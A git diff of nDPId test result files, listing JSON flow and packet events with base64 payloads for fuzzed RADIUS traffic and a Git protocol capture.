zBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDDyMDAw\/jJtNGE5MjI1YiwgNWIyMmE5ZTQvOTA6YjA6ZWQ6NGU6Nzc6YTMvMjQxBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAQAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzcCAQA4ATAzMTE0ODAyMzI1Njg2MzFAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAclAFpXQzJUZXN0TGEiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGlAAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWld0QzIgVGVzdCBMYWIaCwAAV8klBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOG4RBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bbJpcmVjdBoMAAAFgwcGwFBKmVASj8JRxOD8ARCA2Tk5GozLCQ=="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":330,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1528998372930,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.21","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":338,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":71,"flow_packet_id":1,"flow_first_seen":1528998372930,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.12.64.30","dst_ip":"198.226.25.21","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00554{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":339,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998557,"pkt_ts_usec":316433,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCAAlAAClD1JAAPwRRKvG4hk+CgxAHgcUchAAkYCWC7QAiR2+QwBH7d0zmbIWMmGskGYBNTAzMTE0ODAwNzEzqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00167{"basic_event_id":2,"basic_event_name":"Unknown L3 protocol","thread_id":0,"packet_id":339,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","protocol":2048} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":342,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1528998576181,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1814,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00595{"flow_id":72,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":342,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998576,"pkt_ts_usec":181572,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"ABRP+4rqcNuYVcUnCABFAAClD7RAAPsRRVLG4hk1CgxAHgcWchAAkUUeC7YAjbHF+KxzM1jmiRGRdJnwnSQBNTAzMTE0ODAwNzEzOTQzMDRAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmFhOTAvYjA6OWY6YmE6NGE6MGU6N2UvMjQzTw4BAAAMFwwAAAwBf\/xQEmpMlHIe9v0pkoCIcMRZLH4="} +00592{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":344,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998576,"pkt_ts_usec":381929,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCABFAADAD7hAAfwRRDPG4hk1CgxAHgcUchAArCnlA7cApDiN+d11wTNhp6tcCWDiFuUBNTAzMTE0ODAwNzEzOTQzMDRAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmFhOTAvYjA6OWY6YmE6NGE6MGU6N2UvMjQzEiIzMjc2NCBTdWJzYydpYmVyIG5vdCBwcm92aXNpb25lZEcHBAEABwBQEmSUFMWhON8\/wqCGcP\/+Ta0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":344,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":172} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":345,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1528998584808,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"57.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":28948,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01350{"flow_id":73,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":345,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998584,"pkt_ts_usec":808225,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbIWZAAP8RAO05DEAexuIZNXIQcRQCxwAAAbgCv9zxrJZG2dsJ+s9nZZp6aFsaCgAAV8gOBFVTGgwAAFfIDQYlAGZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM4NwZbIqq4ATUwMzExNDgwMjUwODY0NjI4AXdsYW4ubW5jNDgwDm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TMDAtNTYtY2QtNmQtNDItNTkeJTZjLWIyLWFlLThlLTMxLTgwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPbEwZmYxMGFjMDAwMDAwY2M3OGE4MjI1YiwgNWIyMmE4NzgvMDA6NTY6Y2Q6NmQ6NDI6NTkvMjM1BAasFAEQIKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00528{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":345,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1528998584808,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"57.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":28948,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":346,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1528998585019,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":22544,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00674{"flow_id":74,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":346,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998585,"pkt_ts_usec":19610,"pkt_caplen":239,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":239,"pkt_l4_len":205,"pkt":"ABRP+4rqcNuYVcUnCABFAADhD9lAAPwRdvHG4hk1CgxAHgcUWBAAzQh\/C7gAxWTiZLZdO+cme7xhCKfM6MYBNTAzMTE0ODAyNTA4NjQ2MjhAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmE4NzgvMDA6NTY6Y2Q6d2Q6NDI6NTkvMjM1T0oBAgBIFwEAAAEFAADyCxcI7XkaT0UFvUk8tJ2YAgUAAMJakSoc8QAAT38LtnrvLnGLAQACCwUAADQNzAWg+MfiRgxSS6PGeYdQEs5faleq8GPWzRgEVPv2RUo="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":346,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1528998585019,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":22544,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00739{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":348,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998585,"pkt_ts_usec":453134,"pkt_caplen":318,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":318,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCABFADUwD91AAPwRQ57G4hk1CgxAHgcUchABHJkzArkBFPuMuhZj3jbkVosdPxLeAO4aCwAAV8gbBVNQQxpuAAABNxA0w9JZoXWsZGeHUoYiJ9p40yJPEfSCC1VPuzQcz\/tcT9Zniiv93vAfl8Sqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":348,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":284} +00508{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":349,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1528998576181,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1814,"dst_port":29200,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":349,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":72,"flow_packet_id":1,"flow_first_seen":1528998576181,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1814,"dst_port":29200,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00495{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":349,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":1,"flow_first_seen":1528998584808,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"57.12.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":28948,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":349,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1528998585019,"flow_last_seen":0,"flow_tot_l4_data_len":205,"flow_min_l4_data_len":205,"flow_max_l4_data_len":205,"flow_avg_l4_data_len":205,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":22544,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01250{"flow_id":54,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":353,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998605,"pkt_ts_usec":741189,"pkt_caplen":671,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":671,"pkt_l4_len":637,"pkt":"AAAMB6xAABRP+4rqCABFAAKRIWpAAP8RAAAKDEAexuIZNXIQBxUCfQAABLwCddn+cEnhcqnQe5pr1rrJmHQaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGQVTUEMaCQAAOCENAzABNTAzMTE0ODgwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZ34IMWNpc2NvBQYAAAAIBAasFAEQCAasFAEWIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIsIDViMjJhYWM5L2YwOjc5OjYwOmQxOjdkOjM3LzI0NDEGAAAAExoxAAAACQErYXVkaXQtc2Vzc2lvbi1pZD0xMGZmMTBhWTAwMPowMGQ1YzlhYTIyNWItBgAAAAFABgAAAA1BBl4AAAZRBDU2NwZbIqrNGhQAAFfIBw5WWldDMlRlc3RMYWIaCgAAV8gIBEVUGhAAAFfICgpTdGFuZGFyZBoQAABXyAsKVGVzdCBMYWIaCQAAV8gPAzEaCgAAV8gQBE5KGhEAAFfIEQtMeW5kaHVyc3QaDAAAV8gSBgAAAMkaFwAAV8gdEVZaVyBDMiBUZXN0IExhYhoLAABXyCUFVnpXGg2qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":354,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1528998605816,"flow_last_seen":0,"flow_tot_l4_data_len":113,"flow_min_l4_data_len":113,"flow_max_l4_data_len":113,"flow_avg_l4_data_len":113,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1813,"dst_port":21008,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00550{"flow_id":75,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":354,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998605,"pkt_ts_usec":816574,"pkt_caplen":147,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":147,"pkt_l4_len":113,"pkt":"ABRP+4rqcNuYVcUnCABFAACF321AAPwRdKvG4hk1CgxAHgcVUhAAcX0pBbwAafRaWCO5QhnkLZA61WpkFeUBNTAzMTE0ODAwNzM2MzgwNzJAd2xhbi5tbmM0ODAubWNjMzExLjNncHBZZXR3b3JrLm9yZywgNWIyMmFhYzkvZjA6Nzk6NjA6ZDE6N2Q6MzcvMjQ0"} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":354,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1528998605816,"flow_last_seen":0,"flow_tot_l4_data_len":113,"flow_min_l4_data_len":113,"flow_max_l4_data_len":113,"flow_avg_l4_data_len":113,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1813,"dst_port":21008,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00494{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":355,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1528998605816,"flow_last_seen":0,"flow_tot_l4_data_len":113,"flow_min_l4_data_len":113,"flow_max_l4_data_len":113,"flow_avg_l4_data_len":113,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1813,"dst_port":21008,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00457{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":356,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":76,"flow_packet_id":1,"flow_first_seen":1528998636010,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","l4_proto":37,"flow_datalink":1,"flow_max_packets":15} +00595{"flow_id":76,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":356,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998636,"pkt_ts_usec":10967,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"ABRP+4rqcNuYVcUnCABFAAClEJJAAPslAHTG4hk1CgxAHgcUchAAkT3yC70AiXLX5bK1bcbjOxq4bylP028BNTAzMTE0ODAyMxg1Njg2MzFAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZyxiNWIyMmFhZWIvOTA6YjA6ZWQ6NGU6Nzc6YTMvMjQ1Tw4BAAAMFwwAAAxRf\/xQEvTT2\/+5xTPwYXYdoAWLt9A="} +01246{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":357,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998636,"pkt_ts_usec":143546,"pkt_caplen":697,"pkt_type":2064,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":697,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCBBFAAKrIWxAAP8RAAAKDEAexuIZNXIQBxQClwAAAb4Cj8yIFnOZ6cZavy+ov11X2XMaCgAAV8gOBKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00172{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":357,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":2064} +01247{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":361,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528998639,"pkt_ts_usec":586727,"pkt_caplen":697,"pkt_type":22528,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":697,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqWABFAAKrIW5AAP8RAAAKCEAexuIZNXIQBxQClwAAAcACj3BXfw4b3GMlZswG9bQoL7gaCgAAV8gOBFVTGgwAAFfIDQZXaWZpJQAAAFfICQlXSVNQUjEwGgkAADghDQMzNwZbIqrvATUwMzExNDgwMjMyNTY4NjMxQHdsYW4ubW5jNDkwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TOTAtYjAtZWQtNGUtNzctYTMeJTAwLWE3LTQyLWQwLWUwLXAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJESthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwZDZlYmFhMjI1YiwgNWIybWFhZWIvOTA6YjA6ZWQ6NGU6Nzc6YTMvMjQ1BAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2T2cCAAAIbQwAABoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhdWAFfIHRFWWlcgQzIgVGVzdDdMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERcAAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVASZHVbxXaB7Y4HBclkU5O1hA=="} +00173{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":361,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","type":22528} diff --git a/test/results/git.pcap.out b/test/results/git.pcap.out new file mode 100644 index 000000000..9a6f405e3 --- /dev/null +++ b/test/results/git.pcap.out @@ -0,0 +1,17 @@ +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"git.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1460821630164,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.77","dst_ip":"5.153.231.21","src_port":47991,"dst_port":9418,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460821630,"pkt_ts_usec":164056,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"nJcm0ghCPJcOZtCOCABFAAA8Q1ZAAEAGScLAqABNBZnnFbt3JMp+hgtEAAAAAKACchB0gwAAAgQFtAQCCAoBp0gSAAAAAAEDAwo="} +00430{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460821630,"pkt_ts_usec":221958,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PJcOZtCOnJcm0ghCCABFCAA8AABAAC8GnhAFmecVwKgATSTKu3dqwE5VfoYLRaASOJBfrwAAAgQFrAQCCAorjWmrAadIEgEDAwc="} +00418{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460821630,"pkt_ts_usec":222020,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"nJcm0ghCPJcOZtCOCABFAAA0Q1dAAEAGScnAqABNBZnnFbt3JMp+hgtFasBOVoAQAB3G2AAAAQEICgGnSCArjWmr"} +00513{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"git.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1460821630,"pkt_ts_usec":222080,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"nJcm0ghCPJcOZtCOCABFAAB5Q1hAAEAGSYPAqABNBZnnFbt3JMp+hgtFasBOVoAYAB1NLgAAAQEICgGnSCErjWmrMDA0NWdpdC11cGxvYWQtcGFjayAvY29sbGFiLW1haW50L3dvdHNhcC5naXQAaG9zdD1hbm9uc2NtLmRlYmlhbi5vcmcA"} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"git.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1460821630164,"flow_last_seen":1460821630222,"flow_tot_l4_data_len":213,"flow_min_l4_data_len":32,"flow_max_l4_data_len":101,"flow_avg_l4_data_len":53,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.77","dst_ip":"5.153.231.21","src_port":47991,"dst_port":9418,"l4_proto":"tcp","ndpi": {"proto":"Git","breed":"Safe","category":"Collaborative"}} 